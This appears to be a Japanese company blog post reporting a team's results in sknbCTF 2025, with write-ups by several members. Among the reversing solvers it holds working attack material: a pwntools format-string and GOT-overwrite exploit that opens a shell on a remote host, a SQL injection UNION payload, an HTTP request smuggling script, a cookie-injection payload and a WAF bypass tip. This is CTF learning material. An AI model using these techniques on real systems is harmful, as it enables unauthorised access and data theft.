スプーキーズのちょっとTech。

SPOOKIES社内のより技工的な、専門的なブログページです。

ちょっと久しぶりのCTF!sknbCTF 2025参加しました!

こんにちは!寒くなってきて体調管理が苦しい、こまさんです!!

今回はCTF部で、sknbCTF 2025に参加してきたので、その報告がてら感想・所感(Writeupも?)を書いていきます!

目次!

まずは結果から~

今回なんと6位でした!!とてもいい感じなんじゃない?!!

各問題いってみよ~!

執筆中現在、もうサーバーダウンしてしまってて問題毎のスコア取れませんでした😣

Komasan_ 855pts.

welcome (Misc)

Discordのアナウンスに書かれた。書く必要ほぼないかなw

sirokemo says (Pwn)

個人的に結構pwn問に苦手意識があって、練習したいな~と思って2ヶ月ぐらいが過ぎようとしていたんですが、zeosutt大先生に「本番で練習すりゃ大丈夫!」とも言われ今回頑張ってみました。

とてもシンプル!

ソースコードはとってもシンプル!かわいい顔文字がお出迎えしてくれて、入力をオウム返ししてくれそうですね。 あ、ちなみにchecksec結果はpartial RELRO、カナリア無し、NX有効、PIEは無効です。

とりあえずコードを見ていきますか。

パッと見BOFはなさそうです。 でも、9行目にFSBをやれと言わんばかりのprintfがありますね。

ということで、、、結構グダコードですが、、

    import time
    from pwn import *
    
    context.arch = 'amd64'
    context.os = 'linux'
    elf = ELF('chall')
    
    __libc_start_main_offset = 0x2a200
    gadget_offset = 0xef52b# execve("/bin/sh")
    
    addr_main = 0x401166
    
    with remote('34.104.150.35', 9000) as io:
        writes_dict = {elf.got['exit']: addr_main + 336}
        payload = fmtstr_payload(6, writes_dict)
    
        # payload[:-24] => b"%106c%11$lln%167c%12$hhn%47c%13$hhnaaaab"
        payload = payload[:-24-5] + b'%61$p' + payload[-24:]
    
        io.sendline(payload)
        with open('payload', 'wb') as fs:
            fs.write(payload)
            fs.write(b'\0' * (255 - len(payload)))
    
        time.sleep(0.1)
        r = io.recv()
    
        ret = r.split(b'0x')[-1]
    
        for i in range(16):
            if ret[i] not in b'0123456789abcdef':
                ret = ret[:i]
                break
            if i == 15:
                ret = ret[:16]
    
        addr = int(ret.decode(), 16) # __libc_start_main + 139
    
        addr_libc = addr - 139 - __libc_start_main_offset
        addr_system = addr_libc + gadget_offset
        print('libc base: ' + hex(addr_libc))
        print('target   : ' + hex(addr_system))
    
        writes_dict = {elf.got['printf']: addr_system}
        payload = fmtstr_payload(7, writes_dict)
    
        io.sendline(payload)
        with open('payload', 'ab') as fs:
            fs.write(payload)
    
        io.sendline(payload)
    
        time.sleep(0.1)
        print(io.recv())
    
        io.interactive()
    

まずFSBで、main()のリターンアドレスからlibcのアドレスをリークしながらexit@GOTmain()に書き換えます。

そうするとexitを実行したはずがもう一度mainに戻ってこれますね。

その後、リークしたlibcのアドレスを利用してexit@GOTを今度はone gadgetに書き換えちゃいます。

そうしたらシェルが起動するので、flagをcatして終わり!

(ここまで来るのに6時間もかかってしまった。。でもGOT Ovrewriteを覚えれたかな!👍)

kufvm (Rev)

こちらはVM問ですね。

基本的には、

  • 1024バイトのプログラムと共用のメモリがある。
  • 7つの操作ができる。
    • アドレスを2つ指定して、前者と後者の和を前者を代入
    • アドレスを2つ指定して、前者と後者のXORを前者に代入
    • アドレスを2つ指定して、前者が0なら後者のアドレスにジャンプ(プログラムカウンタを書換)
    • アドレスを1つ指定して、標準入力から1文字取得し、書込
    • アドレスを1つ指定して、標準出力に1文字書出
    • アドレスを2つ指定して、前者の値をアドレスとして、そこに後者の値を代入
    • プログラムを終了する

という具合でした。

そしてプログラムを実行すると、フラグの入力を求められるので、何かしらの文字列を入力して、それが合っていたらcorrect!、間違っていたらincorrect!と表示されて終了する、という感じ。

普通に解析して、逆算する、という感じですね。

解答コード

    # chall.bin 0x13-0x3e (inclusive)
    _c = 'ef5914ee51701017ef5dbd550feac72a0dc6b87f736b4f4dc71ead064b38951f5d1bd9e9b946bdafdde0fb31'
    
    # split each bytes and negate
    cipher = [0x100 - int(_c[i*2:i*2+2], 16) for i in range(len(_c) // 2)]
    
    message = []
    
    tmp = 49
    for i in range(43):
        mask = (tmp * (i + 1) * 2) & 0xff
    
        c = cipher[i] ^ mask
        message.append(c)
    
        tmp = c
    
    print(''.join([chr(c) for c in message]))
    

こういうRev問は素直に面白いですね。


Nemoola 205pts.

SQLAlchemist (Web)

fieldはユーザーが入力できるのでここを狙った。

session.query(User.username, extract(field, User.timestamp)).where(User.username == username).first()

デバッガをつけてORMが組み立てたSQLを調べようと思ったが、出来なかったので自分で予想して組み立てた。

SELECT username, EXTRACT(field FROM user.timestamp) 
FROM user WHERE user.username='username'

以下は結果的に出来上がったペイロードである。

YEAR FROM timestamp) FROM user WHERE 0=1 UNION SELECT username, password --

WHERE 0=1で結果を0にしてUNIONで新しい文を結合したらpasswordを取得できる。 取得したpasswordを使ってadminにログインしてflagをゲットできる。


huzuni 842pts.

久しぶりにCTF参加しました!

今回はほぼRevしかやってないですが、問題も面白い内容で解いてて楽しかったです〜 その中でも特にお気に入りのやつのwriteupを中心に書いていきます!

one_to_two (Rev)

最初の方はこれが一番左に出てたので、一番簡単かと思いきや、、、

ゴリゴリのVM問題。 😱

Cで作られたVMのディスパッチャーと、VMコードの本体(上のやつ)が与えられます。

色々いじっていると、文字入力->フラグの何番目と比較->一致してたらループという挙動をしていることがわかりました。

というわけで、ゴリ押しpython自前ディスパッチャーで総当たりしました。

ソルバー

    import sys
    import string
    
    with open('program.txt', "r", encoding="utf-8") as f:
        data = []
        for line in f:
            s = line.rstrip('\n')
            data.append(s)
    
    def run(input) -> int:
        lines = len(data)
        stack = [0] * 256
        ip = 0        
        line_idx = 0  
        sp = 0        
        in_count = 0
        while True:
            if line_idx < 0:
                return 0
            if line_idx >= lines:
                return 0
            if ip < 0:
                return 0
            current_line = data[line_idx]
            if ip >= len(current_line):
                return 0
            instruction = ord(current_line[ip])
            if instruction == 0x2E:  # '.'
                return in_count
            if instruction == 0x2194:
                if stack[sp] != 0:
                    ip -= 1
                else:
                    ip += 1
                continue
            if instruction == 0x2195:
                if stack[sp] != 0:
                    line_idx -= 1
                else:
                    line_idx += 1
                continue
            if instruction == 0x219E:
                sp -= 1
                ip -= 1
                if sp < 0:
                    print("stack underflow", file=sys.stderr)
                    return 1
                continue
            if instruction == 0x219F:
                stack[sp] += 1
                line_idx -= 1
                continue
            if instruction == 0x21A0:
                sp += 1
                ip += 1
                if sp <= 255:
                    continue
                print("stack overflow", file=sys.stderr)
                return 1
            if instruction == 0x21A1:
                stack[sp] -= 1
                line_idx += 1
                continue
            if instruction == 0x21D1:
                ch = (input + '00000')[in_count]
                in_count += 1        
                if ch == "" or ch == "\n":
                    val = 255
                else:
                    val = ord(ch[0])
                stack[sp] = val
                line_idx -= 1
                continue
            if instruction == 0x21D3:
                line_idx += 1
                continue
            if instruction == 0x21E0:
                ip -= 1
                continue
            if instruction == 0x21E1:
                line_idx -= 1
                continue
            if instruction == 0x21E2:
                ip += 1
                continue
            if instruction == 0x21E3:
                line_idx += 1
                continue
            print("Invalid inst")
            return in_count
    
    flag = 'sknb{'
    candidates = string.ascii_letters + string.punctuation + string.digits
    while True:
        a = {}
        for i in candidates:
            temp_flag = flag + i
            result = run(temp_flag)
            a[i] = result
        max_key = max(a, key=a.get)
        flag += max_key
        print(flag)
    

多分想定解ではないけど、こういうのもたまにはアリだよね 🧐

次は、ちゃんとやります。

Fubukkit (Rev)

マイクラ問だ! そして、jd-guiがデコンパイルを拒否する!

仕方がないので、Recafを使って中身を見ます

すごい量のコードがお出迎えしてくれました。 でもちょっと調べると、そんなに複雑なことはしてなくて、 フラグのバイト数番目_フラグの上位/下位2ビット のようなフォーマットで構成されたchainみたいな感じになってます

v0_7をgrantするにはrootが必要で、 v1_3をgrantするにはv0_7が必要で、、、

という風に続いているわけです

root
└── v0_7
      └── v1_3
            └── v2_6
                  └── v3_11
                        └── v4_6
                              └── v5_…

それがわかればデコンパイルした結果から自動で解析してくれるコードを作ってあげた方が速そうですね。

ソルバー

    import dataclasses
    import re
    
    @dataclasses.dataclass
    class AdvamcementKey:
        index: int
        value: int
    
    @dataclasses.dataclass
    class Advancement:
        key: AdvamcementKey
        requirements: AdvamcementKey
    
    with open('advancements.txt', 'r', encoding='utf-8') as file:
        advancementLines = [line.strip() for line in file if line.strip()]
        advancements: list[Advancement] = []
        for advLine in advancementLines:
            # Parse advancement key
            result = re.search(r'"(\d{1,2})_(\d{1,2})"', advLine)
            if not result:
                print(f"Failed to parse advancement: {advLine}")
                break
            index, value = map(int, result.groups())
            adv_key = AdvamcementKey(index=index, value=value)
            # Find requirements
            result_req = re.search(r'\(Advancement\)v(\d{1,2})_(\d{1,2})', advLine)
            requirements: AdvamcementKey | None = None
            if result_req:
                req_index, req_value = map(int, result_req.groups())
                requirements = AdvamcementKey(index=req_index, value=req_value)
            
            advancement = Advancement(key=adv_key, requirements=requirements)
            advancements.append(advancement)
        advancements.append(Advancement(None, AdvamcementKey(index=43, value=13))) # Goal advancement
        # Solve
        decoded = []
        solved = {}
        for adv in advancements:
            if not adv.requirements:
                continue
            if adv.requirements.index <= len(decoded) - 1: 
                continue
            decoded.append(adv.requirements.value)
        decoded_packed = []
        for i in range(0, len(decoded), 2):        
            byte = (decoded[i] << 4) | decoded[i + 1]
            decoded_packed.append(byte)
        for byte in decoded_packed:
            print(chr(byte), end='')
    

GIF-Zipper (Rev)

画像が、CSV風のファイルに変換されて、それを元に戻すやつです。

一個注意点として、最後のピクセルの情報が残っていないので、そこだけ考慮してあげる必要があります。 ただ、今回はほとんど画像にも影響はないです

コードだけ貼っておきます〜

    from PIL import Image
    
    def decode_pixel_block(s):
        n = len(s)
        for r_len in [1,2,3]:
            for g_len in [2,3]:
                b_len = n - r_len - g_len
                if b_len < 2 or b_len > 3:
                    continue
                r = int(s[:r_len])
                g = int(s[r_len:r_len+g_len]) - 16
                b = int(s[r_len+g_len:]) - 8
                if 0 <= r <= 255 and 0 <= g <= 255 and 0 <= b <= 255:
                    return (r,g,b)
        return (0,0,0)
    
    def csv_to_image(path, output):
        with open(path,'r') as f:
            raw = f.read()
    
        raw = raw.replace(" ","")
        parts = [p for p in raw.split(",") if p!=""]
    
        width = int(parts[0])
        height = int(parts[1])
    
        blocks = parts[2:]
    
        print("width:", width)
        print("height:", height)
        print("blocks:", len(blocks))
    
        img = Image.new("RGB",(width,height))
        px = img.load()
    
        for idx, s in enumerate(blocks):
            y = idx // width
            x = idx % width
            px[x,y] = decode_pixel_block(s)
    
        img.save(output)
    
    csv_to_image("flag.gifzip","output.png")
    

風が吹けば桶屋が儲かる (Rev)

中身を開けると大量のclassファイル!!!!!

その中には似た構造のコードたち!

Chal0001.java

    import java.io.IOException;
    import java.util.Arrays;
    
    public class Chal0000 {
        private static final byte[] enc = new byte[]{65, 11, -48, 103, 77, 19, -80, -1};
    
        public static void main(String[] stringArray) throws IOException {
            int n;
            System.out.print("msg:");
            byte[] byArray = System.in.readNBytes(8);
            int[] nArray = new int[]{120, 187, 228, 254, 207, 89, 242, 108};
            for (n = 0; n < 8; ++n) {
                int n2 = n;
                byArray[n2] = (byte)(byArray[n2] ^ (byte)(nArray[n] >> 3 | nArray[n] << 5));
            }
            for (n = 0; n < 8; ++n) {
                int n3 = n;
                byArray[n3] = (byte)(byArray[n3] + (byte)nArray[(n + 1) % 8]);
            }
            if (Arrays.equals(enc, byArray)) {
                System.out.println("Correct");
            } else {
                System.out.println("Incorrect");
            }
        }
    }
    

最初の部分をChatGPTに復号させると、PNGの最初の部分のシグネイチャと一致することがわかりました。

というわけで、この何千に及ぶファイルをデコンパイルして、復号して、、 なんてやってられないので、CFRを使って、全部デコンパイルさせます

あとは、デコンパイルしてくれたやつをregex地獄で復号します

ソルバー

    import os
    import re
    import dataclasses
    
    @dataclasses.dataclass
    class EncryptedBlockData:
        n: list[int]
        enc: list[int]
        rot: int
        offset: int
    
    def rot_expr(x: int, a: int) -> int:
        x &= 0xFF
        return ((x >> a) | (x << (8 - a))) & 0xFF
    
    def decrypt_msg(block: EncryptedBlockData) -> bytearray:
        out = []
        for i in range(8):
            y = block.enc[i] & 0xFF
            y = (y - (block.n[(i + block.offset) % 8] & 0xFF)) & 0xFF
            y ^= rot_expr(block.n[i], block.rot)
            out.append(y)
        return bytes(out)
    
    def parse_block(decompiled_code: str) -> EncryptedBlockData:
        enc = re.search(r'byte\[\] enc = new byte\[\]\{([-\d, ]+)};', decompiled_code).group(1)
        enc = list(map(lambda x: int(x.strip()), enc.split(',')))
        n = re.search(r'int\[\] nArray = new int\[\]\{([-\d, ]+)};', decompiled_code).group(1)
        n = list(map(lambda x: int(x.strip()), n.split(',')))
        rot = re.search(r'\(byte\)\(nArray\[n\] >> (\d)', decompiled_code).group(1)
        rot = int(rot)
        offset = re.search(r'\(byte\)nArray\[\(n \+ (\d)\)', decompiled_code).group(1)
        offset = int(offset)
        return EncryptedBlockData(n=n, enc=enc, rot=rot, offset=offset)
    
    result = bytearray()
    for root, dirs, files in os.walk('./decompiled'):
        for file in files:
            path = os.path.join(root, file)
            with open(path, 'r', encoding='utf-8') as f:
                code = f.read()
            block_data = parse_block(code)
            decrypted = decrypt_msg(block_data)
            result.extend(decrypted)
    
    with open(file='decrypted.png', mode='wb+') as out:
        out.write(result)
    

ありがとう、cfr

Auth Delegation (Web)

フォームデータじゃなくて、クエリパラメーターを使うとWAFに引っかかりません 😄


zeosutt 1274pts.

zeosutt大先生はspookiesを卒業してしまったので、私こまさんが勝手にありがとうを綴りますw

名誉部長として基本的には私たちの解きたい問題を譲ってくれつつ、ギブアップした問題をシバいてくれる、みたいな最強の人になってます。

とても心強い!!そして少しでも頑張って追いつきたい!!

今回も、私が解いたkufvmと全く同じファイル群で更にpwn(shell奪取)しろ、という問題のkufvm-pwnを破壊してくれました🔥🔥🔥🔥 強すぎる、、、

Writeupは問題を把握できてないのでご愛嬌で~。

printgolf (Misc)

PIN Authenticator (Misc)

PIN Authenticator revenge (Misc)

DB Mirage (Misc)

Parse Parse Parse (Web)

kufvm-pwn (Pwn)


flathill404 789pts.

お久しぶりのCTFでした。最近もっぱらGeminiと公私共にどっぷりなので、Geminiくんと共に挑みました。 AI使うと、特に、ソース公開されているタイプの問題は5倍ぐらい早く解けますね。 何時間も仮説検証を繰り返し、最終的にフラグGETして脳汁ドパーするのが私なりのCTFの楽しみだったのですが、AIはその楽しみを奪ってくるなと思いました(←じゃあ使うな)。 まあ、今回は久しぶりのCTFということもあって、CTF x AIで楽しくなれるのか検証するいい機会だったなあと。

Your name (Web)

Nginx + Node.js構成におけるHTTP Request Smuggling、といったところでしょうか。 フロントエンドにNginx、バックエンドにNode.jsというモダンな構成で、どのように「解釈のズレ」が生じるのかが、注目ポイントです。

Nginxの設定 (nginx.conf) Nginxはリクエストをバックエンド(app:8080)に流す際、必ず X-From-Proxy: true というヘッダーを付与します。

location / {
    proxy_pass http://app:8080;
    proxy_http_version 1.1;
    proxy_set_header Connection "";
    proxy_set_header X-From-Proxy true; # ここで強制付与
}

バックエンドのロジック (server.js) フラグが得られる /flag エンドポイントには、以下のアクセス制御があります。

case '/flag':
  if (!req.headers['x-from-proxy']) {
    res.end(FLAG);
  } else {
    res.writeHead(403, { 'Content-Type': 'text/plain' });
    res.end('Forbidden');
  }
  return;

「Nginxを経由すると X-From-Proxy が付くため拒否される」 が、「Nginxを経由しないとそもそもアクセスできない(外部公開ポートはNginxのみ)」 というジレンマがありますね。

最大のヒントは Dockerfile にありました 。

CMD ["node", "--insecure-http-parser", "server.js"]

Node.jsが --insecure-http-parser オプション付きで起動されています 。これは、RFCに厳密に従わない不正な形式のHTTPヘッダーも許容してパースするという設定です。

これにより、HTTP Request Smuggling (CL.TE) が成立する条件が整いました。

Nginx (Frontend): 厳格。不正な Transfer-Encoding ヘッダーを無視し、Content-Length を信頼する。

Node.js (Backend): 寛容。不正な Transfer-Encoding ヘッダーを有効と見なし、Content-Length を無視する。

この「解釈の不一致」を利用して、1つのHTTPリクエストの中に「2つ目のリクエスト」を密輸(Smuggle)します。

Nginxを騙してリクエスト全体を通過させつつ、Node.jsには途中でリクエストが終わったと誤認させます。

POST / HTTP/1.1
Host: target.com
Content-Length: [全体の長さ]
Transfer-Encoding : chunked  <-- ここが重要!

0

GET /flag HTTP/1.1
Host: target.com
...

Transfer-Encoding のコロンの前にスペースを入れることで、Nginxはこのヘッダーを無視しますが、--insecure-http-parser 環境下のNode.jsはこれを有効と解釈します 。

Node.jsは 0 (チャンク終了) を読み取った時点で処理を切り上げ、残りのデータ(GET /flag...)を 「次の新しいリクエスト」 として処理し始めます。この「密輸された2つ目のリクエスト」には、Nginxが付与するはずの X-From-Proxy が存在しません。これで認証回避が可能になります。

この方針で最終フラグGETできたスクリプトは以下になります。(コアのところだけ掲載)

# CL.TE Desync Payload
    header = (
        b"POST / HTTP/1.1\r\n" +
        f"Host: {target_host}:{target_port}\r\n".encode() +
        b"Content-Type: application/x-www-form-urlencoded\r\n" +
        b"Content-Length: " + str(len(payload_body)).encode() + b"\r\n" +
        b"Transfer-Encoding : chunked\r\n" + # Nginxは無視、Nodeは解釈
        b"\r\n"
    )
    # ... (中略: ソケット送信処理) ...

    # データ受信ループ
    received_buffer = b""
    # まず通常の受信を試みる
    try:
        data = s.recv(4096)
        received_buffer += data
        if b"sknb{" in received_buffer:
            print("Flag found in first batch!")
    except: pass
    
    # フラグがなければ追い出し用リクエストを送信
    if b"sknb{" not in received_buffer:
        s.sendall(dummy_request) # Flush!
        
    # 続きを受信...

ghost (Web)

ターゲットは、ユーザーが入力した任意の文字列を document.cookie にセットしてくれるPuppeteer製のBotです。しかし、そこには以下の厳格な検証ロジックが存在しました。

const whitelist = /^[a-zA-Z0-9=;\/]+$/
const cookies = cookie.split(";");
for (const pair of cookies) {
    if (!whitelist.test(pair)) {
        return "invalid cookie detected"; // ホワイトリスト違反
    }
    if (pair.startsWith("flag=")) {
        return "invalid cookie detected"; // ブラックリスト違反
    }
}
// 検査を通過すればセットされる
await page.evaluate(c => document.cookie = c, cookie);

サーバー側の判定ロジック 最終的にリクエストを受け取るサーバー(Express)は、以下のようにフラグを返します。

// Cookieヘッダーを ; で分割し、完全一致でチェック
for (const cookie of cookieHeader.split(";")) {
    if (cookie === "flag=true") { // ここを通したい!
        res.send(process.env.GZCTF_FLAG);
        return;
    }
}

つまり、Cookie: flag=true というヘッダーを送信させることがゴールですが、Bot側では flag= の入力を拒否される、という状況です。

最初に考えたのは、既存の flag=false をどうやって上書き、あるいは無効化するかです。 通常であれば flag=true を送りたいところですが、ブラックリストに阻まれます。

そこで目をつけたのが、ホワイトリストに含まれている /(スラッシュ)と、HTTP Cookieの仕様である Path属性 です。

RFC 6265には「同じ名前のCookieがある場合、Path属性がより長く、リクエストURLに具体的にマッチするものが優先される(先に送信される)」というルールがあります。

Botが元々持っているCookie: Path=/

Botのリクエスト先: /flag

これを利用し、以下のようなペイロードを考えました。

flag;Path=/flag

これにより、「値が空」で「Pathが /flag」のCookieが生成されます。 Path=/flag (5文字) は Path=/ (1文字) より具体的であるため、ブラウザは注入したCookieを優先してヘッダーの先頭に配置します。

結果として、順番を入れ替えることには成功しました! しかし、これではサーバー側のチェック cookie === "flag=true" を通過できません。値が空(flagのみ)だからです。

次にぶつかった壁は、「flag= で始めてはいけないが、サーバーには flag=true という文字列を送らなければならない」という矛盾です。

そこで、思いついたのが「Cookieのキー名を空にする」というテクニックです。

ブラウザで document.cookie = "=value" のように、先頭を = にすると、キー名が空のCookieとして扱われます。そして重要なのが、Chrome (Puppeteer) など多くのブラウザは、これをヘッダーとして送信する際、キー名を省略して値部分だけを送る(あるいは意図した文字列になる)挙動を示します。

これを利用した最終的なペイロードがこちらです。

=flag=true;Path=/flag

これにてdoneです。最終的なbotのリクエストヘッダーは以下のようになります。

Cookie: flag=true; flag=false